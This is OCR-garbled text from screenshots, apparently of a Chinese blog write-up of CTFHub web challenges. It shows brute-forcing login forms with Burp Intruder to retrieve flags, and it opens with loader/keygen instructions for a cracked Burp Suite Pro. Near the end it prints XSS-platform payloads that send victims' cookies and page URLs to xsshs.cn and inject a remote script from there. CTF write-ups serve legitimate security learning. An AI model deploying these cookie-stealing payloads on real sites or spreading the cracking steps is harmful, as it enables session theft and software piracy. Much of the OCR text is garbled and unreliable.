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|£| Burp Suite Pro 1.7.31 Loader & Keygen - By surferxyz
Burp Suite Pro 1.7.31 Loader & Kevgen — By surferxyvz
1. Bun Burp Suite Pro with the loader specified in the bootclazzpath
Instructions: 2. Register using manual activation
3. On subzequent runz wou must execute burpsuite with the loader otherwize it #ill become umregistered

Loader Command: java —Xhootelasspath/p:burp—loader—keygen jar —jar burpsuite_pro_vl. 7.37. jar Fun

License Text: licensed to surferxvz

VELvO1XREaSH:Z +31 t JouwHRITY1 edppD TF3 /1 /fe T qv T An2 zh0uT o gL fhOHS4mS 8kt fhFTWtmGA Tt vHRsRXRSLw e zaH1xqT 151 gzHhd/
d160V1 700f eI phgvF J2TXVyTFEzv jkeTudes or GruanGi/Fefhj orp 8GF TGEvEx WRECENE 1 £91 D czygo THZEMEF cEBDEVeC2VEmdRZ0VHS
ZL38TE e TwP dJMOC3Htw 21 GhTE grnSF gpl +RGui Bhah 731 IS XRulC1 Hlur M X0ulHT 0 aT d4ehCEZRIVuS 1 Cull/0Grm3T +dU3G EQyRy1 7
bY9a7 JT43Evk=480LTVrAGT +XIDBl4g

License:

Mctivation Request:
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java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v1.7.37.jar
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Burp Intruder Re‘@aie(ﬁindow Help

[Target Tmey T Spider I Scanner I Intruder ]' Repeater }' Sequencer }' Decoder I Comparer ]' Extender }' Project options I User options YAIerts ]
I

[ Intercept I HTTP history | WebSockets history I Opt.imij

m Proxy Listeners

E Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.

—_— [ Add J |Running ‘Inlerface Invisible Redirect Certificate

7.0.0.1:8080 Per-host
Edit |Add a new listener

Remove "

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another
installation of Burp.

l Import / export CA cerificate J l Regenerate CA certificate J

@ Intercept Client Requests

E Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

[V Intercept requests based on the following rules:

l Add J Enabled | Operator | Match type Relationship | Condition
——— ] File extension Does not match (*gif5[*jpg5|*pngl|*cssbl*s5lticos)
l =0 (] Or Request Contains parameters
B O Or HTTP method Does not match (getlpost) >
] And URL Is in target scope
e
l Down J
[[] Automatically fix missing or superfluous new lines at end of request
(/] Automatically update Content-Length header when the request is edited
2| Intercept Server Responses
E Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.
[_] Intercept responses based on the following rules:
l Add J ! Enabled | Operator | Match type Relationship Condition CsDi

AR 3 S

J Binding I Request handling T Certificate ]

; These settings control how Burp binds the proxy listener.

Bind to port: | 8031

Bind to address: (®) Loopback only
() All interfaces

() Specific address: l12?.[].0.1 |v]
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Burp Intruder Repeater Window Help

[Target Tmey T Spider I Scanner I Intruder ]' Repeater }' Sequencer }' Decoder I Comparer ]' Extender }' Project options I User options YAIerts ]

[ Intercept I HTTP history TWehSockets history IOpt.ims ]

@ Proxy Listeners

E Burp Proxy uses listeners to receive incomi P requests fram your browser. You will need to configure your browser to use one of the listeners as its proxy server.

l Add J Running | Inle/rfae( | Invisible | Redirect Certificate
————— O 7.0.0.1:3080 Per-host
&J ] 127.0.0.1:8081 Per-host

Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another
installation of Burp.

l Import / export CA cerificate J l Regenerate CA certificate J

@ Intercept Client Requests

E Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

[ Intercept requests based on the following rules

l Add J Enabled | Operator | Match type Relationship | Condition
———— ] File extension Does nat match (*gif3"jpgs|*pngdlcssB|tsSiticos)
l = (] Or Request Contains parameters
B O Or HTTP method Does not match (getlpost) >
] And URL Is in target scope
L
l Down J
[[] Automatically fix missing or superfluous new lines at end of request
[¥/] Automatically update Content-Length header when the request is edited
> Intercept Server Responses
E Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.
[_] Intercept responses based on the following rules: |
l Add J ! Enabled | Operator | Match type Relationship Condition CsDi

5] Elintercept

Burp Intruder Repeater Window Help

[Target Tmey T Spider I Scanner I Intruder ]’ Repeater T Sequencer T Decoder I Comparer ]’ Extender T Project options I User options TAIerts ]

[ Intercept ]' HTTP history TWehSt}ckets histary I()phons ]

"> | Proxy Listeners

Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.

l Add J Running ‘Inlerface Invisible Redirect Certificate
O 127.0.0.1:8080 Per-host

L Bdt || @ 127008081 Per-host
Remove




Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another
installation of Burp.

v
l Import / export CA certificate J l Regenerate CA certificate
2| Intercept Client Requests
E Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
(] Intercept requests based on the following rules: | tu
l Add J Enabled ‘ Operator | Match type Relationship | Condition
— ] File extension Does not match (*gif31"jpg5|*pngslicssBlsaiticos)
[ s J O Or Request Contains parameters
Bt ] Or HTTP method Does not match (get|post) »
(] And URL Is in target scope
L
l Down J
] Automatically fix missing or superluous new lines at end of request
[¥] Automatically update Content-Length header when the request is edited
»| Intercept Server Responses
E Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.
[_] Intercept responses based on the following rules:
l Add J | Enabled | Operator | Match type Relationship Condition CsD
I

iEinterceptT 7F:

Burp Intruder Repeater Window Help

[Target Tmey I Spider I Scanner I Intruder I Repeater T Sequencer T Decoder I Comparer I Extender T Project options I User options TAIerts ]

jlntemept T HTTP history TWehSockets history I Options ]

5

Forward Drop Action

Raw Params Headers Hex

T
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Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner I Intruder I Repeater T Sequencer T Decoder I Comparer I Extender T Project options I User options TAIerts ]

J Intercept T HTTP history TWehSockets history I Options ]

lﬂ Request to http://challenge-475c46099395067¢c.sandbox.ctfhub.com:10800 [47.98.148.7]

l Forward J l Drop J [ Intercept is on ] Action ! as|?
Raw | Params | Headers | Hex
POST /HTTR/1.1 k]

Host: challenge-475c46039395067 c.sandbox. ctfhub. com: 10800

Content-Length: 37

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: hitp:/fchallenge-475c46099395067 c. sandbox. ctfhub. com: 10800

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/avif,image/webp image/apng */*,q=0.8 application/signed-exchange;w=h3;q=0.9
Referer: http:/#challenge-475c46099395067 ¢. sandbox. cthub. com: 10800/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en-US,g=0.8 en;q=0.7

Cookie: UM_distinctid=17b1124384b0-031190c46aa6a1-4343363-1fa400-17h 1124384 c5h

Connection: close

name=admin&p o Grefera=

@ B lZJ lZJ Type a search term CSDN

i b Feand tn intridar 2 2 PR AR M TR .
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W Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz - O X
Burp Intruder Repeater Window Help
[Targel T Proxy T Spider I Scanner I Intruder ]’ Repeater ]’ Sequencer ]’ Decoder ]’ Comparer ]’ Extender T Project options T User options IAIerT.s ]
J Intercept T HTTP history IWehSockets history I Options }
@ Request to http://challenge-475c46099395067c_sandbox ctthub com: 10800 [47.98.148.7]
l Forward J l Drop J [ Intercept is on ] Action |2
Raw | Params | Headers | Hex
FPOST / HTTR/M A :
Host: challenge-475c46099395067 . sandbox. ctfhub. com: 10800
Caontent-Length: 36
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Crigin: http:#fchallenge-475c46099395067 c. sandhox. ctfhub. com: 10800
Content-Type: application/s-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinBd; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safan/537 .36
Accept: text/html application/xhtml+xml,application/sml; g=0.9 image/avif imagefwebp imagefapng */*;q=0.8 application/signed-sxchange,v=b3,0=0.9
Referer: http://challenge-475c46099395067 . sandbox. ctfhub. com: 10800/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7
Cookie: UM_distinctid=17b1124384b0-031890c46aa6a1-4343363-1fa400-17 kb
Co= Send to Spider
Connection: close X
Do an active scan
name=hahaha&passward=hahaha&referer= Send to Intruder Crl+l
Send to Repeater Ctrl+R
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser
Engagement tools
Change request method
Change body encoding
Copy URL
Copy as curl command
Copy to file
Paste from file
Save item
Don't intercept requests >
Do intercept >
Convert selection
URL-encode as you type
Cut Cirl+X £
Copy Ctri+C CsD ._;_.‘@ :fé%rj'_@s
Co [y

Y F¥psositions, LR T password/a MK '§ 77 52 MMMIER (AFEIEFSMER, FEKABTERE) G5 HEKHTT
REHE ERAIHTT)

Burp Intruder Repeater Window Help

[Target W’ Proxy I Spider I Scanner Ilnrmdar T Repeater W’ Sequencer W’ Decoder I Comparer ]' Extender W’ Project options I User options W’Alerts ]

[Target TPosir.ims T Payloads I Options ]

load Positions Start attack

onfigure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.

—

Attack type: lSnlper Iv]

POST/HTTRPA 1 Add §
Host: challenge-475c46099395067 ¢. sandbox. ctfhub. com: 10800

Content-Length: 36 Clear §

Cache-Cantral: max-age=0

Upgrade-Insecure-Requests: 1 Auto §

Origin: http:/fchallenge-475c46099395067 ¢, sandbox. ctfhub. com: 10800
Content-Type: application/x-www-farm-urlencoded Refresh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36

Accept: text/html application/shtml+xml,application/xml; g=0.9 image/avifimage/webp image/apng, "/, q=0.8 application/signed-exchange;v=h3;q=0.9
Referer: http://challenge-475c46099335067 ¢ sandbox. ctfhub. com: 10800/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7

Cookie: UM_distinctid=§17h112438410-03180c46aa6a1-4343363-1fad00-17b1124384c50§

Connection: close -

JIo

name=5§hahaha§&password=8hahaha§ér erer=§§|
- - —
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4 payload positions = Length: 844
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Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner Tlntmdef T Repeater T Sequencer T Decoder I Comparer ]’ Extender T Project options I User options TAIerts ]

[Target }' Positions TPaonads T Options ]

Payloa

L;
Start attack

()

can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set,
and each payload type can be customized in different ways.

Payload set: |1 - Payload count: 0
Payload type: | Simple list L4 Request count: 0

Payload Options [Simple list]

()

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

!

Load ...

i

Remave

I

Clear

E

Enter a new item

—

Add from list
Add from list ... 2
Fuzzing - quick
Fuzzing - full | "

Usermnames

()

ch payload before it is used.

e TRl
it

; g =
CSDN @uEEsEf) st

SPHR—AE O, FREBETE)E & dlengthiZ A BEHET, 7T LR B A1 H At B R B 18 0

B Intruder attack 2 — O >

Attack Save Columns

_[ Results ITarget T Positions I Payloads T Options } /

Filter: Showing all items / )
Request | Payload | Status | Errar | Timeout | Length Y| Comment

2592 password 200 J [] | 2653

31415 password 200 ] ] | 2653

31701 | password | 200 O (] | 2653




0 200 | ] | 2646
3 I@#5% 200 0 [] 2646
4 l@#5%" 200 | ] 2646
4 l@#5%"& 200 0 [] 2646
6 l@#5%" & 200 | ] 2646
7 Iroot 200 0 [] 2646
8 $SRV 200 O (] 2646 E
Request | Response ]
jRaw I Headers T Hex T HTML I Render ]
HTTR/M.1 200 OK A
Server. openresty/1.19.3.2
Date: Man, 30 Aug 2021 01:57:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2326
Connection: close
X-Fowered-By: PHF/7.3.14
Wary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-ControlAllow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
<IDOCTYPE html>
<html=
<head= :
2 B w @ Type a search term 0 matches
5

B3 E H diresponse i B & i T B A& Fflag:

B! Result 31701 | Intruder attack 2 — O X
Payload: password :
Status: 200 Previous
Length: 2653 S
Mext
Timer: 9 =

i

/ Action

Reguest | Response 1

jRim'T Headers I Hex I HTML T Render }

<input type="hidden" name="referer" value="" />
<fp=
<p=
<label for="remember"=<input type="checkhox" name="remember" class="checkhox" value="1"
id="remember" /> T H &) & FE</label>
<fp=
<p=
ctthub{c91297590590e83f1508775¢c} ¥

<fhody=
</html=

T

? l_J LJ l_J Type a search term CSDN @3k 45 1) T 8 andilieies

ARG o
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Burp Intruder Repeater Window Help

[Target T Proxy I Spider I Scanner Tlnaudef T Repeater T Sequencer T Decoder I Comparer I Extender T Project options I User options TAIerts ]

1= (2= | 3=]..

[ Target TPosltmﬂs T Payloads ]' Options ]

w Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details.

Attack type: lSniper |']

POST /login.php?mad=login HTTP/1.1 A Add §
Host: challenge-11d362be3b46e7f0. sandbox. ctfhub. com: 10800 1
Content-Length: 54 Clear §
Cache-Cantral: max-age=0

Upgrade-Insecure-Requests: 1 Auto §
Crigin: http:/fchallenge-11d362he3b46e7 0 sandbox. ctthub. com: 10800

Content-Type: application/s-www-farm-urlencoded Refresh

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTNL, like Gecko) Chrome/92.0.4515.159 Safan/537 .36

Accept: text/html application/xhtml+xml application/xml g=0.9 image/avifimage/webp image/apng,*/*;q=0.8 application/signed-exchange;=h3;q=0.9
Referer: http://challenge-11d362be3b46e70. sandbox. ctfhub. com: 10800/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en-US;q=0.8 en,q=0.7

Cookie: UM_distinctid=17b1124384b0-031f90c46aaba1-4343363-11a400-17b1124384c5h; PHPSESSID=0b2d8efd34a478b09a0ceBe370fcad31
Connection: close

user_id=adminfuser_pass=$§aaaag&captcha=YFD1&captcha_ctime=
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EJ EJ EJ Ej Type a search term 0 matches E

1 payload position ) Length- 921
CSDN @xtse i) eIz

SERMIEBRMRE, BRTHE -, HMKREA0EHERANRAERHE R . o CXRRESHT—T, RERES M LIEARD R
KIT —Acode.phpXff, HREIH —TFEEMARNTER—NRAEGHIE fr, RAETRER EEBINE IS8 RIA KU B F i
HE, ERBEAAEZAE. . REAME, WRABEFLRXES. . )

Attack Save Columns

J Results T Target I Positions T Payloads I Options ]

Filter: Showing all items ?
Request | Position | Payload |Status | Emor | Timeout | Length & | Comment
87 1 BASE 200 O O 425 -
88 1 BATCH 200 ] ] 425
89 1 BC4J 200 O O 425
90 1 BIGO 200 L] L] 425
91 1 BIOS 200 O O 425
92 — —
93 B Result 90 | Intruder attack 1 - O d
94 Position: 1 ——
95 Payload: BIGO Previous !
96 Status: 200 T ¥
Length: 425 I o
Request [ Timer: 40 L
Action

Raw | Pal
m Request Responsel ‘E

Host: l:hallerj RawI Headers I Hex ]
Content-Len

Cache-Contr| S8MVer openresty/1.19.3.2 i
Upgrade-lnseDate: Mon, 30 Aug 2021 16:01:50 GMT

Origin: http:/ Caontent-Type: text/html; charset=UTF-8
Content-Length: 13
Connection: close

Content-Typ

User-Agent: 85

Accept: ¥-Powered-By: PHP/7.3.14

textfhtml,apFEXp"ES: Thu, 19 Mov 1981 08:52:00 GMT h=0.

g Cache-Control: no-store, no-cache, must-revalidate

Referer: http Fragma: no-cache

Accept_EnccAccess-CUntrnI-AIIDW—Origin: *

Accept-Lang Access-Control-Allow-Headers: ¥-Requested-With

Cookie: UM_Access-CUntrnI-AIIDW—Methnds: *

Connection: v
——|captcha error [/

w b ¥ ) matches

5582 o 935 L2 LS [ £ ] (2] |Type a search term CSDN @529 eEhes i

TREE®ME ReEEMLERTHABWP. .

AL IE R TT Y. -
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(R A eyouuser eyou_admin

eyougw admin@(eyou)
admin +-Ccceo

admin

N o1

<8 AP &R User Login

ARE syougw

BB | q
PDTZ

b 11212}

._P; i — e
SRR E?

PMERCTFHUMEREME, (aETA

\ R

Hello CTFHub eyougw admin, ctthub{120f75f39936d80ee8e34838}

LR
XSS
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RB B XSS M BN (HIREB) %6 T R FXSSKBURM DA KA BEE: ML

FEFEMEKLA:
PUAE(XA R — MR BEIXSS T &, Bk B304 MXSSHHALiD)


https://www.cnblogs.com/wuhongbin/p/14253442.html
https://www.jianshu.com/p/576694d0d29f
https://xsshs.cn/

RETREE !
HOR— TR UBREBRLER: EEMENBAHARA, EE-NMIENRSERH 2, KRR~ BB K RSEXSS
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(function(){(new Image()).src="https://xsshs.cn/xss.php?do=api&id={projectId}&location="+escape
((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation="+escape
((function(){try{return top.location.href}catch(e){return "'}})())+'&cookie="+escape((function()
{try{return document.cookie}catch(e){return "'}})())+'8&opener="+escape((function(){try{return (w
indow.opener &% window.opener.location.href)?window.opener.location.href:"'"'}catch(e){return
TIN0HBNO;

if('{set.keepsession}'==1){keep=new Image();keep.src="https://xsshs.cn/xss.php?do=keepsession&id

={projectId}8url="+escape(document.location)+'&cookie="+escape(document.cockie)}; o
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(function(){(new Image()).src="https://xsshs.cn/xss.php?do=api&id=sWSf&location="+escape((function(){try{ret
urn document.location.href}catch(e){return ''}})())+'&toplocation="+escape((function(){try{return top.locati
on.href}catch(e){return ''}})())+'&cookie="+escape((function(){try{return document.cookie}catch(e){return
"1 ())+'&opener="+escape( (function(){try{return (window.opener && window.opener.location.href)?window.open
er.location.href:''}catch(e){return "'}})()); 1 ();

if (' '==1){keep=new Image();keep.src="https://xsshs.cn/xss.php?do=keepsession&id=sWSf&url="+escape(document.]l

ocation)+'&cookie="+escape(document.cookie)};
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</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElemen
t%28%22script¥®22%29%3Bb. srck3D%22%2F%2Fxsshs . cn%2FsWST%22%2BMath . random%28%29%3B%28document . getElementsByTag
Name%28%2 2HEAD%22%29%5Ba%5D%7 C%7Cdocument . body%29 . appendChild%28b%29%3B/ .source));//>
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(function(){(new Image()).src="https://xsshs.cn/xss.php?do=api&id=sWSf&location="+escape((function(){try{ret
urn document.location.href}catch(e){return ''}})())+'&toplocation="+escape((function(){try{return top.locati
on.href}catch(e){return ''}})())+'&cookie="+escape((function(){try{return document.cookie}catch(e){return
"1 ())+'&opener="+escape( (function(){try{return (window.opener && window.opener.location.href)?window.open
er.location.href:''}catch{(e){return ''}})()); 1 ();

if(''==1){keep=new Image();keep.src="https://xsshs.cn/xss.php?do=keepsession&id=sWSflurl="+escape(document.]l

ocation)+'&cookie="+escape(document.cookie)};
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00:22:00 124d006083882.sandbox.ctf allenge-55f124d006083882.
hub.com:10800/?name=%3 sandbox.ctfhub.com:10800/7
CY%2FtEXIArEa%3E%27%2 name=%3C%2FtExtArEa%3
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